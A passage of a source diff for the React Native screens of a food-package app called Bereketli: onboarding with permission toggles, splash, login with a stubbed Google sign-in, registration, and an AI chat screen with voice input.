StatusBar,
Switch,
PermissionsAndroid,
Platform,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
// TODO: Replace with expo-notifications in Faz 4
const messaging = Object.assign(
() => ({ requestPermission: async () => 1, getToken: async () => '' }),
{ AuthorizationStatus: { AUTHORIZED: 1, PROVISIONAL: 2, NOT_DETERMINED: -1, DENIED: 0 } }
);
import {useTranslation} from 'react-i18next';
import {colors} from '../theme';
import {useLocationStore} from '../store/locationStore';
import AsyncStorage from '@react-native-async-storage/async-storage';
const {width} = Dimensions.get('window');
const BASE_URL = 'https://bereketli.pezkiwi.app';
const ONBOARDING_KEY = '@bereketli_onboarding_done';
interface OnboardingScreenProps {
onFinish: () => void;
}
const SLIDES = [
{
titleKey: 'onboarding.slide1Title',
descKey: 'onboarding.slide1Desc',
image: `${BASE_URL}/bereketli_paket.png`,
bg: '#1B4332',
},
{
titleKey: 'onboarding.slide2Title',
descKey: 'onboarding.slide2Desc',
image: `${BASE_URL}/store-owner.png`,
bg: '#92400E',
},
{
titleKey: 'onboarding.slide3Title',
descKey: 'onboarding.slide3Desc',
image: `${BASE_URL}/logo.png`,
bg: '#2D6A4F',
},
];
export default function OnboardingScreen({onFinish}: OnboardingScreenProps) {
const {t} = useTranslation();
const [currentIndex, setCurrentIndex] = useState(0);
const [locationEnabled, setLocationEnabled] = useState(true);
const [notifEnabled, setNotifEnabled] = useState(true);
const [micEnabled, setMicEnabled] = useState(true);
const [cameraEnabled, setCameraEnabled] = useState(true);
const flatListRef = useRef<FlatList>(null);
const insets = useSafeAreaInsets();
const {updateLocation} = useLocationStore();
const handleNext = async () => {
if (currentIndex < SLIDES.length - 1) {
flatListRef.current?.scrollToIndex({index: currentIndex + 1});
setCurrentIndex(currentIndex + 1);
} else {
// Last slide — request selected permissions then finish
if (locationEnabled) {
await updateLocation();
}
if (notifEnabled) {
try {
const authStatus = await messaging().requestPermission();
if (authStatus === messaging.AuthorizationStatus.AUTHORIZED ||
authStatus === messaging.AuthorizationStatus.PROVISIONAL) {
await AsyncStorage.setItem('@bereketli_notif_enabled', 'true');
}
} catch {}
}
if (Platform.OS === 'android') {
if (micEnabled) {
try { await PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.RECORD_AUDIO); } catch {}
}
if (cameraEnabled) {
try { await PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.CAMERA); } catch {}
}
}
await AsyncStorage.setItem(ONBOARDING_KEY, 'true');
onFinish();
}
};
const handleSkip = async () => {
await AsyncStorage.setItem(ONBOARDING_KEY, 'true');
onFinish();
};
return (
<View style={styles.container}>
<StatusBar barStyle="light-content" />
<FlatList
ref={flatListRef}
data={SLIDES}
horizontal
pagingEnabled
showsHorizontalScrollIndicator={false}
scrollEnabled={false}
keyExtractor={(_, i) => String(i)}
onMomentumScrollEnd={e => {
const idx = Math.round(e.nativeEvent.contentOffset.x / width);
setCurrentIndex(idx);
}}
renderItem={({item, index}) => (
<View style={[styles.slide, {width, backgroundColor: item.bg}]}>
<View style={[styles.slideContent, {paddingTop: insets.top + 60}]}>
<Image
source={{uri: item.image}}
style={styles.slideImage}
resizeMode="contain"
/>
<Text style={styles.slideTitle}>{t(item.titleKey)}</Text>
<Text style={styles.slideDesc}>{t(item.descKey)}</Text>
{index === SLIDES.length - 1 && (
<View style={styles.permissionsBox}>
<View style={styles.permRow}>
<View style={styles.permInfo}>
<Text style={styles.permIcon}>📍</Text>
<View>
<Text style={styles.permLabel}>{t('onboarding.locationLabel')}</Text>
<Text style={styles.permDesc}>{t('onboarding.locationDesc')}</Text>
</View>
</View>
<Switch
value={locationEnabled}
onValueChange={setLocationEnabled}
trackColor={{false: '#666666', true: '#FBBF24'}}
thumbColor={'#FFFFFF'}
/>
</View>
<View style={styles.permDivider} />
<View style={styles.permRow}>
<View style={styles.permInfo}>
<Text style={styles.permIcon}>🔔</Text>
<View>
<Text style={styles.permLabel}>{t('onboarding.notificationLabel')}</Text>
<Text style={styles.permDesc}>{t('onboarding.notificationDesc')}</Text>
</View>
</View>
<Switch
value={notifEnabled}
onValueChange={setNotifEnabled}
trackColor={{false: '#666666', true: '#FBBF24'}}
thumbColor={'#FFFFFF'}
/>
</View>
<View style={styles.permDivider} />
<View style={styles.permRow}>
<View style={styles.permInfo}>
<Text style={styles.permIcon}>🎤</Text>
<View>
<Text style={styles.permLabel}>{t('onboarding.micLabel')}</Text>
<Text style={styles.permDesc}>{t('onboarding.micDesc')}</Text>
</View>
</View>
<Switch
value={micEnabled}
onValueChange={setMicEnabled}
trackColor={{false: '#666666', true: '#FBBF24'}}
thumbColor={'#FFFFFF'}
/>
</View>
<View style={styles.permDivider} />
<View style={styles.permRow}>
<View style={styles.permInfo}>
<Text style={styles.permIcon}>📷</Text>
<View>
<Text style={styles.permLabel}>{t('onboarding.cameraLabel')}</Text>
<Text style={styles.permDesc}>{t('onboarding.cameraDesc')}</Text>
</View>
</View>
<Switch
value={cameraEnabled}
onValueChange={setCameraEnabled}
trackColor={{false: '#666666', true: '#FBBF24'}}
thumbColor={'#FFFFFF'}
/>
</View>
</View>
)}
</View>
</View>
)}
/>
{/* Bottom controls */}
<View style={[styles.bottom, {paddingBottom: Math.max(insets.bottom, 30)}]}>
{/* Dots */}
<View style={styles.dots}>
{SLIDES.map((_, i) => (
<View
key={i}
style={[styles.dot, i === currentIndex && styles.dotActive]}
/>
))}
</View>
{/* Buttons */}
<View style={styles.buttonRow}>
{currentIndex < SLIDES.length - 1 ? (
<>
<TouchableOpacity onPress={handleSkip}>
<Text style={styles.skipText}>{t('onboarding.skip')}</Text>
</TouchableOpacity>
<TouchableOpacity style={styles.nextBtn} onPress={handleNext}>
<Text style={styles.nextBtnText}>{t('onboarding.next')}</Text>
</TouchableOpacity>
</>
) : (
<TouchableOpacity style={[styles.nextBtn, styles.startBtn]} onPress={handleNext}>
<Text style={styles.nextBtnText}>{t('onboarding.start')}</Text>
</TouchableOpacity>
)}
</View>
</View>
</View>
);
}
export {ONBOARDING_KEY};
const styles = StyleSheet.create({
container: {flex: 1},
slide: {flex: 1, justifyContent: 'center'},
slideContent: {
flex: 1,
alignItems: 'center',
justifyContent: 'center',
paddingHorizontal: 40,
},
slideImage: {
width: 180,
height: 180,
marginBottom: 32,
},
slideTitle: {
fontSize: 28,
fontWeight: '800',
color: '#FFFFFF',
textAlign: 'center',
marginBottom: 16,
},
slideDesc: {
fontSize: 16,
color: 'rgba(255,255,255,0.8)',
textAlign: 'center',
lineHeight: 24,
},
bottom: {
position: 'absolute',
bottom: 0,
left: 0,
right: 0,
paddingHorizontal: 24,
},
dots: {
flexDirection: 'row',
justifyContent: 'center',
gap: 8,
marginBottom: 24,
},
dot: {
width: 8,
height: 8,
borderRadius: 4,
backgroundColor: 'rgba(255,255,255,0.3)',
},
dotActive: {
width: 24,
backgroundColor: '#FFFFFF',
},
buttonRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
},
skipText: {
fontSize: 16,
color: 'rgba(255,255,255,0.6)',
fontWeight: '500',
},
nextBtn: {
backgroundColor: '#FFFFFF',
borderRadius: 14,
paddingHorizontal: 32,
paddingVertical: 14,
},
startBtn: {
flex: 1,
},
permissionsBox: {
marginTop: 28,
backgroundColor: 'rgba(255,255,255,0.12)',
borderRadius: 16,
padding: 16,
width: '100%',
},
permRow: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
paddingVertical: 6,
},
permInfo: {
flexDirection: 'row',
alignItems: 'center',
gap: 12,
flex: 1,
},
permIcon: {fontSize: 22},
permLabel: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
permDesc: {fontSize: 11, color: 'rgba(255,255,255,0.6)', marginTop: 1},
permDivider: {height: 1, backgroundColor: 'rgba(255,255,255,0.1)', marginVertical: 8},
nextBtnText: {
fontSize: 16,
fontWeight: '700',
color: colors.primary,
textAlign: 'center',
},
});
@@ -0,0 +1,181 @@
import React, {useEffect, useRef} from 'react';
import {View, Text, Image, StyleSheet, Animated, StatusBar, Dimensions} from 'react-native';
import {useTranslation} from 'react-i18next';
import {colors} from '../theme';
const {width} = Dimensions.get('window');
interface SplashScreenProps {
onFinish: () => void;
}
export default function SplashScreen({onFinish}: SplashScreenProps) {
const {t} = useTranslation();
const logoScale = useRef(new Animated.Value(0.3)).current;
const logoOpacity = useRef(new Animated.Value(0)).current;
const textOpacity = useRef(new Animated.Value(0)).current;
const subtitleOpacity = useRef(new Animated.Value(0)).current;
useEffect(() => {
// Logo fade in + scale
Animated.sequence([
Animated.parallel([
Animated.spring(logoScale, {
toValue: 1,
friction: 4,
tension: 40,
useNativeDriver: true,
}),
Animated.timing(logoOpacity, {
toValue: 1,
duration: 400,
useNativeDriver: true,
}),
]),
// Title fade in
Animated.timing(textOpacity, {
toValue: 1,
duration: 300,
useNativeDriver: true,
}),
// Subtitle fade in
Animated.timing(subtitleOpacity, {
toValue: 1,
duration: 300,
useNativeDriver: true,
}),
]).start();
// Auto dismiss after 2.5s
const timer = setTimeout(onFinish, 2500);
return () => clearTimeout(timer);
// eslint-disable-next-line react-hooks/exhaustive-deps -- Animated refs are stable, onFinish is captured at mount; splash runs only once
}, []);
return (
<View style={styles.container}>
<StatusBar barStyle="light-content" backgroundColor={colors.primary} />
{/* Background pattern circles */}
<View style={styles.bgCircle1} />
<View style={styles.bgCircle2} />
{/* Logo */}
<Animated.View
style={[
styles.logoContainer,
{
transform: [{scale: logoScale}],
opacity: logoOpacity,
},
]}>
<Image
source={{uri: 'https://bereketli.pezkiwi.app/logo.png'}}
style={styles.logoImage}
resizeMode="contain"
/>
</Animated.View>
{/* Title hidden — logo.png contains "Bereketli" text */}
{/* Subtitle */}
<Animated.Text style={[styles.subtitle, {opacity: subtitleOpacity}]}>
{t('splash.subtitle')}
</Animated.Text>
{/* Bottom tagline */}
<View style={styles.bottomSection}>
<Text style={styles.tagline}>{t('splash.tagline')}</Text>
<View style={styles.dots}>
<View style={[styles.dot, styles.dotActive]} />
<View style={styles.dot} />
<View style={styles.dot} />
</View>
</View>
</View>
);
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: colors.primary,
justifyContent: 'center',
alignItems: 'center',
},
// Background decorative circles
bgCircle1: {
position: 'absolute',
top: -width * 0.3,
right: -width * 0.2,
width: width * 0.8,
height: width * 0.8,
borderRadius: width * 0.4,
backgroundColor: 'rgba(255,255,255,0.05)',
},
bgCircle2: {
position: 'absolute',
bottom: -width * 0.2,
left: -width * 0.3,
width: width * 0.7,
height: width * 0.7,
borderRadius: width * 0.35,
backgroundColor: 'rgba(255,255,255,0.03)',
},
// Logo
logoContainer: {
width: 140,
height: 170,
borderRadius: 28,
backgroundColor: '#FFFFFF',
justifyContent: 'center',
alignItems: 'center',
marginBottom: 16,
shadowColor: '#000',
shadowOffset: {width: 0, height: 8},
shadowOpacity: 0.15,
shadowRadius: 16,
elevation: 10,
overflow: 'hidden',
},
logoImage: {
width: 130,
height: 160,
},
subtitle: {
fontSize: 16,
color: 'rgba(255,255,255,0.7)',
fontWeight: '500',
marginTop: 8,
},
// Bottom
bottomSection: {
position: 'absolute',
bottom: 60,
alignItems: 'center',
},
tagline: {
fontSize: 13,
color: 'rgba(255,255,255,0.5)',
fontWeight: '500',
marginBottom: 16,
},
dots: {
flexDirection: 'row',
gap: 6,
},
dot: {
width: 6,
height: 6,
borderRadius: 3,
backgroundColor: 'rgba(255,255,255,0.3)',
},
dotActive: {
backgroundColor: '#FFFFFF',
width: 20,
},
});
@@ -0,0 +1,279 @@
import React, {useState, useEffect} from 'react';
import {
View,
Text,
TextInput,
TouchableOpacity,
StyleSheet,
Alert,
Image,
KeyboardAvoidingView,
Platform,
ScrollView,
ActivityIndicator,
} from 'react-native';
import {useTranslation} from 'react-i18next';
import {useAuthStore} from '../../store/authStore';
import {colors, spacing, typography} from '../../theme';
// Google Sign-In stubbed — auth bridges through pwap's Supabase
const GoogleSignin = { configure: (_opts: unknown) => {}, hasPlayServices: async () => true, signIn: async () => ({ data: { idToken: '' } }) };
const statusCodes = { SIGN_IN_CANCELLED: 'SIGN_IN_CANCELLED', IN_PROGRESS: 'IN_PROGRESS', PLAY_SERVICES_NOT_AVAILABLE: 'PLAY_SERVICES_NOT_AVAILABLE' };
import client, {saveTokens} from '../../api/client';
import Svg, {Path} from 'react-native-svg';
import {GOOGLE_WEB_CLIENT_ID as WEB_CLIENT_ID} from '../../config';
export default function LoginScreen({navigation}: any) {
const {t} = useTranslation();
const [identifier, setIdentifier] = useState('');
const [password, setPassword] = useState('');
const [googleLoading, setGoogleLoading] = useState(false);
const {login, isLoading, error, clearError} = useAuthStore();
useEffect(() => {
GoogleSignin.configure({
webClientId: WEB_CLIENT_ID,
offlineAccess: true,
});
}, []);
const handleLogin = async () => {
if (!identifier.trim() || !password) {
Alert.alert(t('common.error'), t('auth.loginErrorRequired'));
return;
}
try {
await login(identifier.trim(), password);
} catch {
// Error zustand store'da
}
};
const handleGoogleLogin = async () => {
setGoogleLoading(true);
clearError();
try {
await GoogleSignin.hasPlayServices();
const response = await GoogleSignin.signIn();
const idToken = response.data?.idToken;
if (!idToken) {
Alert.alert(t('common.error'), t('auth.googleTokenError'));
setGoogleLoading(false);
return;
}
// Send to backend
const {data} = await client.post('/auth/google', {id_token: idToken});
await saveTokens(data.access_token, data.refresh_token);
// Update auth store
useAuthStore.setState({
user: data.user,
isLoggedIn: true,
isLoading: false,
});
} catch (err: any) {
if (err.code === statusCodes.SIGN_IN_CANCELLED) {
// Kullanici iptal etti — sessiz
} else if (err.code === statusCodes.PLAY_SERVICES_NOT_AVAILABLE) {
Alert.alert(t('common.error'), t('auth.googlePlayError'));
} else {
const msg = err.response?.data?.message || err.message || t('auth.googleLoginFailed');
Alert.alert(t('common.error'), msg);
}
} finally {
setGoogleLoading(false);
}
};
return (
<KeyboardAvoidingView
style={styles.container}
behavior={Platform.OS === 'ios' ? 'padding' : 'height'}>
<ScrollView contentContainerStyle={styles.scroll} keyboardShouldPersistTaps="handled">
<View style={styles.header}>
<Image
source={{uri: 'https://bereketli.pezkiwi.app/logo.png'}}
style={styles.logoImage}
resizeMode="contain"
/>
<Text style={styles.subtitle}>{t('auth.subtitle')}</Text>
</View>
<View style={styles.form}>
{error && (
<View style={styles.errorBox}>
<Text style={styles.errorText}>{error}</Text>
</View>
)}
<Text style={styles.label}>{t('auth.emailOrPhone')}</Text>
<TextInput
style={styles.input}
value={identifier}
onChangeText={text => {
clearError();
setIdentifier(text);
}}
placeholder={t('auth.emailPlaceholder')}
placeholderTextColor={colors.textLight}
autoCapitalize="none"
keyboardType="email-address"
/>
<Text style={styles.label}>{t('auth.password')}</Text>
<TextInput
style={styles.input}
value={password}
onChangeText={text => {
clearError();
setPassword(text);
}}
placeholder={t('auth.passwordPlaceholder')}
placeholderTextColor={colors.textLight}
secureTextEntry
returnKeyType="go"
onSubmitEditing={handleLogin}
/>
<TouchableOpacity
style={[styles.button, isLoading && styles.buttonDisabled]}
onPress={handleLogin}
disabled={isLoading}>
<Text style={styles.buttonText}>
{isLoading ? t('auth.loggingIn') : t('auth.login')}
</Text>
</TouchableOpacity>
{/* Divider */}
<View style={styles.divider}>
<View style={styles.dividerLine} />
<Text style={styles.dividerText}>{t('common.or')}</Text>
<View style={styles.dividerLine} />
</View>
{/* Google Sign-In */}
<TouchableOpacity
style={[styles.googleButton, googleLoading && styles.buttonDisabled]}
onPress={handleGoogleLogin}
disabled={googleLoading}>
{googleLoading ? (
<ActivityIndicator color={colors.textPrimary} />
) : (
<>
<Svg width={20} height={20} viewBox="0 0 24 24">
<Path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92a5.06 5.06 0 01-2.2 3.32v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.1z" fill="#4285F4" />
<Path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853" />
<Path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05" />
<Path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335" />
</Svg>
<Text style={styles.googleText}>{t('auth.googleLogin')}</Text>
</>
)}
</TouchableOpacity>
<TouchableOpacity
style={styles.linkButton}
onPress={() => navigation.navigate('Register')}>
<Text style={styles.linkText}>
{t('auth.noAccount')} <Text style={styles.linkBold}>{t('auth.registerLink')}</Text>
</Text>
</TouchableOpacity>
</View>
</ScrollView>
</KeyboardAvoidingView>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: colors.background},
scroll: {flexGrow: 1, justifyContent: 'center', padding: spacing.xl},
header: {alignItems: 'center', marginBottom: spacing.xxxl},
logoImage: {width: 120, height: 140, marginBottom: spacing.md},
title: {
...typography.h1,
color: colors.primary,
marginBottom: spacing.xs,
},
subtitle: {
...typography.caption,
color: colors.textSecondary,
},
form: {width: '100%'},
label: {
...typography.captionBold,
color: colors.textPrimary,
marginBottom: spacing.xs,
marginTop: spacing.lg,
},
input: {
backgroundColor: colors.backgroundWhite,
borderWidth: 1,
borderColor: colors.border,
borderRadius: 10,
padding: spacing.lg,
fontSize: 16,
color: colors.textPrimary,
},
button: {
backgroundColor: colors.primary,
borderRadius: 10,
padding: spacing.lg,
alignItems: 'center',
marginTop: spacing.xl,
},
buttonDisabled: {opacity: 0.6},
buttonText: {
...typography.button,
color: colors.textWhite,
},
divider: {
flexDirection: 'row',
alignItems: 'center',
marginVertical: spacing.xl,
},
dividerLine: {
flex: 1,
height: 1,
backgroundColor: colors.border,
},
dividerText: {
...typography.caption,
color: colors.textLight,
marginHorizontal: spacing.md,
},
googleButton: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'center',
backgroundColor: '#FFFFFF',
borderWidth: 1.5,
borderColor: '#E5E7EB',
borderRadius: 12,
paddingVertical: 14,
paddingHorizontal: 20,
shadowColor: '#000',
shadowOffset: {width: 0, height: 1},
shadowOpacity: 0.05,
shadowRadius: 3,
elevation: 2,
},
googleText: {
fontSize: 16,
fontWeight: '600',
color: '#374151',
marginLeft: 12,
},
linkButton: {alignItems: 'center', marginTop: spacing.xl},
linkText: {...typography.caption, color: colors.textSecondary},
linkBold: {color: colors.primary, fontWeight: '600'},
errorBox: {
backgroundColor: '#FEE2E2',
borderRadius: 8,
padding: spacing.md,
borderWidth: 1,
borderColor: '#FECACA',
},
errorText: {color: colors.error, ...typography.caption},
});
@@ -0,0 +1,189 @@
import React, {useState} from 'react';
import {
View,
Text,
TextInput,
TouchableOpacity,
StyleSheet,
Alert,
KeyboardAvoidingView,
Platform,
ScrollView,
} from 'react-native';
import {useTranslation} from 'react-i18next';
import {useAuthStore} from '../../store/authStore';
import {colors, spacing, typography} from '../../theme';
export default function RegisterScreen({navigation}: any) {
const {t} = useTranslation();
const [name, setName] = useState('');
const [email, setEmail] = useState('');
const [phone, setPhone] = useState('');
const [password, setPassword] = useState('');
const [confirmPassword, setConfirmPassword] = useState('');
const [referralCode, setReferralCode] = useState('');
const {register, isLoading, error, clearError} = useAuthStore();
const handleRegister = async () => {
if (!name.trim() || !email.trim() || !password) {
Alert.alert(t('common.error'), t('auth.registerErrorRequired'));
return;
}
if (password.length < 8) {
Alert.alert(t('common.error'), t('auth.registerErrorPasswordMin'));
return;
}
if (password !== confirmPassword) {
Alert.alert(t('common.error'), t('auth.registerErrorPasswordMatch'));
return;
}
try {
await register(name.trim(), email.trim(), password, phone.trim() || undefined, referralCode.trim() || undefined);
} catch {
// Error store'da
}
};
return (
<KeyboardAvoidingView
style={styles.container}
behavior={Platform.OS === 'ios' ? 'padding' : 'height'}>
<ScrollView contentContainerStyle={styles.scroll} keyboardShouldPersistTaps="handled">
<View style={styles.header}>
<Text style={styles.title}>{t('auth.registerTitle')}</Text>
<Text style={styles.subtitle}>{t('auth.registerSubtitle')}</Text>
</View>
<View style={styles.form}>
{error && (
<View style={styles.errorBox}>
<Text style={styles.errorText}>{error}</Text>
</View>
)}
<Text style={styles.label}>{t('auth.fullName')}</Text>
<TextInput
style={styles.input}
value={name}
onChangeText={txt => { clearError(); setName(txt); }}
placeholder={t('auth.fullNamePlaceholder')}
placeholderTextColor={colors.textLight}
/>
<Text style={styles.label}>{t('auth.email')}</Text>
<TextInput
style={styles.input}
value={email}
onChangeText={txt => { clearError(); setEmail(txt); }}
placeholder={t('auth.emailOnlyPlaceholder')}
placeholderTextColor={colors.textLight}
autoCapitalize="none"
keyboardType="email-address"
/>
<Text style={styles.label}>{t('auth.phoneOptional')}</Text>
<TextInput
style={styles.input}
value={phone}
onChangeText={setPhone}
placeholder={t('auth.phonePlaceholder')}
placeholderTextColor={colors.textLight}
keyboardType="phone-pad"
/>
<Text style={styles.label}>{t('auth.passwordLabel')}</Text>
<TextInput
style={styles.input}
value={password}
onChangeText={txt => { clearError(); setPassword(txt); }}
placeholder={t('auth.passwordMinPlaceholder')}
placeholderTextColor={colors.textLight}
secureTextEntry
/>
<Text style={styles.label}>{t('auth.confirmPassword')}</Text>
<TextInput
style={styles.input}
value={confirmPassword}
onChangeText={setConfirmPassword}
placeholder={t('auth.confirmPasswordPlaceholder')}
placeholderTextColor={colors.textLight}
secureTextEntry
/>
<Text style={styles.label}>{t('auth.referralCodeOptional')}</Text>
<TextInput
style={styles.input}
value={referralCode}
onChangeText={setReferralCode}
placeholder={t('auth.referralCodePlaceholder')}
placeholderTextColor={colors.textLight}
autoCapitalize="characters"
/>
<TouchableOpacity
style={[styles.button, isLoading && styles.buttonDisabled]}
onPress={handleRegister}
disabled={isLoading}>
<Text style={styles.buttonText}>
{isLoading ? t('auth.registering') : t('auth.register')}
</Text>
</TouchableOpacity>
<TouchableOpacity
style={styles.linkButton}
onPress={() => navigation.goBack()}>
<Text style={styles.linkText}>
{t('auth.haveAccount')} <Text style={styles.linkBold}>{t('auth.loginLink')}</Text>
</Text>
</TouchableOpacity>
</View>
</ScrollView>
</KeyboardAvoidingView>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: colors.background},
scroll: {flexGrow: 1, justifyContent: 'center', padding: spacing.xl},
header: {alignItems: 'center', marginBottom: spacing.xxl},
title: {...typography.h1, color: colors.primary},
subtitle: {...typography.caption, color: colors.textSecondary, marginTop: spacing.xs},
form: {width: '100%'},
label: {
...typography.captionBold,
color: colors.textPrimary,
marginBottom: spacing.xs,
marginTop: spacing.md,
},
input: {
backgroundColor: colors.backgroundWhite,
borderWidth: 1,
borderColor: colors.border,
borderRadius: 10,
padding: spacing.lg,
fontSize: 16,
color: colors.textPrimary,
},
button: {
backgroundColor: colors.primary,
borderRadius: 10,
padding: spacing.lg,
alignItems: 'center',
marginTop: spacing.xl,
},
buttonDisabled: {opacity: 0.6},
buttonText: {...typography.button, color: colors.textWhite},
linkButton: {alignItems: 'center', marginTop: spacing.xl},
linkText: {...typography.caption, color: colors.textSecondary},
linkBold: {color: colors.primary, fontWeight: '600'},
errorBox: {
backgroundColor: '#FEE2E2',
borderRadius: 8,
padding: spacing.md,
borderWidth: 1,
borderColor: '#FECACA',
},
errorText: {color: colors.error, ...typography.caption},
});
@@ -0,0 +1,429 @@
import React, {useState, useRef, useCallback, useEffect} from 'react';
import {
View,
Text,
FlatList,
TouchableOpacity,
TextInput,
StyleSheet,
KeyboardAvoidingView,
Platform,
ActivityIndicator,
Image,
Animated,
NativeModules,
NativeEventEmitter,
PermissionsAndroid,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
import {useTranslation} from 'react-i18next';
import {colors} from '../../theme';
import {sendMessage} from '../../api/chat';
import type {ChatMessage} from '../../api/chat';
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
const {BereketliSpeech} = NativeModules;
const speechEmitter = new NativeEventEmitter(BereketliSpeech);
type Props = NativeStackScreenProps<Record<string, undefined>, 'AiChat'>;
interface DisplayMessage {
id: string;
role: 'user' | 'assistant';
content: string;
}
// eslint-disable-next-line @typescript-eslint/no-var-requires
const AI_AVATAR = require('../../assets/ai-avatar.jpg');
export default function AiChatScreen({navigation}: Props) {
const {t, i18n} = useTranslation();
const insets = useSafeAreaInsets();
const [messages, setMessages] = useState<DisplayMessage[]>([]);
const [inputText, setInputText] = useState('');
const [loading, setLoading] = useState(false);
const [chatStarted, setChatStarted] = useState(false);
const [isListening, setIsListening] = useState(false);
const [partialText, setPartialText] = useState('');
const flatListRef = useRef<FlatList<DisplayMessage>>(null);
const pulseAnim = useRef(new Animated.Value(1)).current;
const VOICE_LOCALES: Record<string, string> = {
tr: 'tr-TR', en: 'en-US', ar: 'ar-IQ', ckb: 'ckb-IQ', ku: 'ku-TR', fa: 'fa-IR',
};
// Pulse animation while listening
useEffect(() => {
if (isListening) {
const pulse = Animated.loop(
Animated.sequence([
Animated.timing(pulseAnim, {toValue: 1.15, duration: 600, useNativeDriver: true}),
Animated.timing(pulseAnim, {toValue: 1, duration: 600, useNativeDriver: true}),
]),
);
pulse.start();
return () => pulse.stop();
}
pulseAnim.setValue(1);
}, [isListening, pulseAnim]);
// Speech recognition events
// eslint-disable-next-line @typescript-eslint/no-explicit-any
const handleSendRef = useRef<any>(null);
useEffect(() => {
const resultSub = speechEmitter.addListener('onSpeechResult', (text: string) => {
setIsListening(false);
setPartialText('');
if (text) handleSendRef.current(text);
});
const partialSub = speechEmitter.addListener('onSpeechPartial', (text: string) => {
setPartialText(text);
});
const errorSub = speechEmitter.addListener('onSpeechError', () => {
setIsListening(false);
setPartialText('');
});
return () => {
resultSub.remove();
partialSub.remove();
errorSub.remove();
BereketliSpeech.destroy();
};
}, []);
const startListening = async () => {
if (Platform.OS === 'android') {
const granted = await PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.RECORD_AUDIO);
if (granted !== PermissionsAndroid.RESULTS.GRANTED) return;
}
setIsListening(true);
setPartialText('');
const locale = VOICE_LOCALES[i18n.language] || 'tr-TR';
BereketliSpeech.start(locale);
};
const stopListening = () => {
BereketliSpeech.stop();
};
const suggestions = [
{key: 'packages', label: t('chat.suggestPackages')},
{key: 'food', label: t('chat.suggestFood')},
{key: 'store', label: t('chat.suggestStore')},
];
const handleSend = useCallback(
async (text: string) => {
const trimmed = text.trim();
if (!trimmed || loading) return;
if (!chatStarted) setChatStarted(true);
const userMsg: DisplayMessage = {
id: `user-${Date.now()}`,
role: 'user',
content: trimmed,
};
setMessages(prev => [...prev, userMsg]);
setInputText('');
setLoading(true);
try {
const conversation: ChatMessage[] = messages.map(m => ({
role: m.role,
content: m.content,
}));
conversation.push({role: 'user', content: trimmed});
const response = await sendMessage(trimmed, conversation);
const aiMsg: DisplayMessage = {
id: `ai-${Date.now()}`,
role: 'assistant',
content: response.reply,
};
setMessages(prev => [...prev, aiMsg]);
} catch {
const errorMsg: DisplayMessage = {
id: `error-${Date.now()}`,
role: 'assistant',
content: t('chat.error'),
};
setMessages(prev => [...prev, errorMsg]);
} finally {
setLoading(false);
}
},
[messages, loading, chatStarted, t],
);
handleSendRef.current = handleSend;
const renderMessage = ({item}: {item: DisplayMessage}) => {
const isUser = item.role === 'user';
return (
<View
style={[
msgStyles.row,
isUser ? msgStyles.rowUser : msgStyles.rowAi,
]}>
{!isUser && (
<Image source={AI_AVATAR} style={msgStyles.avatar} />
)}
<View
style={[
msgStyles.bubble,
isUser ? msgStyles.bubbleUser : msgStyles.bubbleAi,
]}>
<Text
style={[
msgStyles.text,
isUser ? msgStyles.textUser : msgStyles.textAi,
]}>
{item.content}
</Text>
</View>
</View>
);
};
const hasText = inputText.trim().length > 0;
return (
<KeyboardAvoidingView
style={styles.container}
behavior={Platform.OS === 'ios' ? 'padding' : undefined}>
{/* Header */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<TouchableOpacity
style={styles.backButton}
onPress={() => navigation.goBack()}>
<Icon name="arrow-left" size={24} color="#FFFFFF" />
</TouchableOpacity>
<View style={styles.headerCenter}>
<Image source={AI_AVATAR} style={styles.headerAvatar} />
<View>
<Text style={styles.headerTitle}>Bereketli AI</Text>
<Text style={styles.headerStatus}>
{loading ? t('chat.typing') : 'Online'}
</Text>
</View>
</View>
<View style={{width: 40}} />
</View>
{/* Welcome screen OR Chat */}
{!chatStarted ? (
<View style={styles.welcomeContainer}>
<TouchableOpacity
onPressIn={startListening}
onPressOut={stopListening}
activeOpacity={0.8}>
<Animated.View style={[styles.avatarPulseRing, isListening && {transform: [{scale: pulseAnim}], borderColor: colors.primary}]}>
<Image source={AI_AVATAR} style={styles.welcomeAvatar} />
</Animated.View>
</TouchableOpacity>
{isListening ? (
<>
<Text style={styles.listeningText}>{t('chat.listening')}</Text>
{partialText ? <Text style={styles.partialText}>{partialText}</Text> : null}
</>
) : (
<>
<Text style={styles.welcomeName}>Bereketli AI</Text>
<Text style={styles.welcomeGreeting}>{t('chat.greeting')}</Text>
<Text style={styles.holdHint}>{t('chat.holdToTalk')}</Text>
</>
)}
<View style={styles.suggestionsWrap}>
{suggestions.map(s => (
<TouchableOpacity
key={s.key}
style={styles.suggestionChip}
onPress={() => handleSend(s.label)}
activeOpacity={0.7}>
<Text style={styles.suggestionText}>{s.label}</Text>
</TouchableOpacity>
))}
</View>
</View>
) : (
<FlatList
ref={flatListRef}
data={messages}
keyExtractor={item => item.id}
